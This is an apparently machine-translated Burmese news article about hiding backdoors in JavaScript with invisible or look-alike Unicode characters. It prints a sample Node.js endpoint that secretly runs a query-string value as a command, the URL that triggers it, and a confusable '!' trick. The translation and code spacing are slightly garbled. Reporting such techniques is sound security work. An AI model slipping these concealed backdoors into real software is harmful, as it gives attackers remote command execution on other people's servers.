JavaScript ကုဒ်တွင် လုပ်ဆောင်ချက်များကို ဖျောက်ရန် မမြင်နိုင်သော ယူနီကုဒ် စာလုံးများကို အသုံးပြုခြင်း။

အသွင်ပြောင်းစာသား၏ဖော်ပြမှုအစီအစဥ်ကိုပြောင်းလဲသော Unicode စာလုံးများကိုအသုံးပြုမှုအပေါ်အခြေခံထားသည့် Trojan Source တိုက်ခိုက်မှုနည်းလမ်းကိုပြီးနောက်၊ ဝှက်ထားသောလုပ်ဆောင်ချက်များကိုမိတ်ဆက်ခြင်းအတွက်အခြားနည်းပညာကို JavaScript ကုဒ်နှင့်သက်ဆိုင်ပါသည်။ နည်းလမ်းအသစ်သည် စာလုံးအမျိုးအစားတွင်ပါရှိသော ယူနီကုဒ်အက္ခရာ “ㅤ” (ကုဒ် 0x3164၊ “HANGUL FILLER”) ကို အသုံးပြုထားသော်လည်း မြင်သာသည့်အကြောင်းအရာမရှိပါ။ Notepad++ နှင့် VS Code ကဲ့သို့သော လူကြိုက်များသောကုဒ်တည်းဖြတ်သူများဖြစ်သည့် မမြင်နိုင်သောကိန်းရှင်များ သို့မဟုတ် VS Code ကဲ့သို့သော ထင်ရှားသောကုဒ်တည်းဖြတ်သူများတွင် အခြားကိန်းရှင်များနှင့် ခွဲခြား၍မရသော ကိန်းရှင်အမည်များတွင် အသုံးပြုရန်အတွက် ECMAScript 2015 သတ်မှတ်ချက်မှစ၍ ဤဇာတ်ကောင်ပိုင်ဆိုင်သည့် ယူနီကုဒ်အမျိုးအစားကို ခွင့်ပြုထားသည်။

ဥပမာအနေဖြင့်၊ Node.js ပလပ်ဖောင်းအတွက် ကုဒ်ကိုပေးထားပြီး၊ ယင်းတွင် စာလုံးတစ်လုံးတည်းပါရှိသော “ㅤ” ကိန်းရှင်ကို အသုံးပြု၍ တိုက်ခိုက်သူမှ သတ်မှတ်ထားသည့်ကုဒ်ကို လုပ်ဆောင်ခွင့်ပြုသည့် backdoor သည် ဝှက်ထားသည်- app.get('/ network_health', async (req, res) => { const { timeout,ㅤ} = req.query; // တကယ်တော့ "const { timeout, ㅤ \u3164}" const checkCommands = [ 'ping -c 1 google. com', 'curl -s http:// example.com/',ㅤ // ကော်မာကို စာလုံးနောက်တွင် \u3164 ];

ပထမတစ်ချက်တွင်၊ အချိန်လွန်တန်ဖိုးကိုသာ ပြင်ပ ကန့်သတ်ဘောင်မှတစ်ဆင့် ဖြတ်သန်းသွားမည်ဖြစ်ပြီး၊ လုပ်ဆောင်ရမည့် ညွှန်ကြားချက်များပါရှိသော ခင်းကျင်းမှုတွင် အန္တရာယ်မရှိသော ပုံသေစာရင်းပါရှိသည်။ သို့သော် တကယ်တမ်းတွင်၊ timeout variable ပြီးနောက်၊ character code \u3164 ပါသော အခြားမမြင်နိုင်သော variable ၏တန်ဖိုးကို executable commands များ array တွင်လည်း အစားထိုးပေးပါသည်။ ထို့ကြောင့်၊ ထိုသို့သောဒီဇိုင်းကို ရနိုင်ပါက၊ တိုက်ခိုက်သူသည် backdoor ကိုဖွင့်ပြီး ၎င်းတို့၏ကုဒ်ကို လုပ်ဆောင်ရန် “https://host:8080/network_health?%E3%85%A4=command” ကဲ့သို့သော တောင်းဆိုချက်တစ်ခု ပေးပို့နိုင်သည်။

နောက်ဥပမာတစ်ခုကတော့ အာမေဋိတ်အမှတ်အသားကို ညွှန်ပြတဲ့ အသွင်အပြင်ကို ပေးစွမ်းနိုင်တဲ့ စာလုံး "ǃ" (ALVEOLAR CLICK) ဖြစ်ပါတယ်။ ဥပမာအားဖြင့်၊ Node.js 14 တွင် လုပ်ဆောင်သည့်အခါ “if(environmentǃ=ENV_PROD){” ဆိုသည့် စကားရပ်သည် ကွဲပြားမှုကို စစ်ဆေးခြင်းမရှိသော်လည်း ENV_PROD ၏တန်ဖိုးကို ပြောင်းလဲနိုင်သော “environmentǃ” သို့ သတ်မှတ်ပေးသောကြောင့် အမြဲတမ်းမှန်ပါလိမ့်မည်။ အခြားသော လွဲမှားသော ယူနီကုဒ် စာလုံးများ တွင် "/", "−", "+", "⩵", "❨", "⫽", "꓿" နှင့် "∗" တို့ ပါဝင်သည်။

source: opennet.ru

မှတ်ချက် Add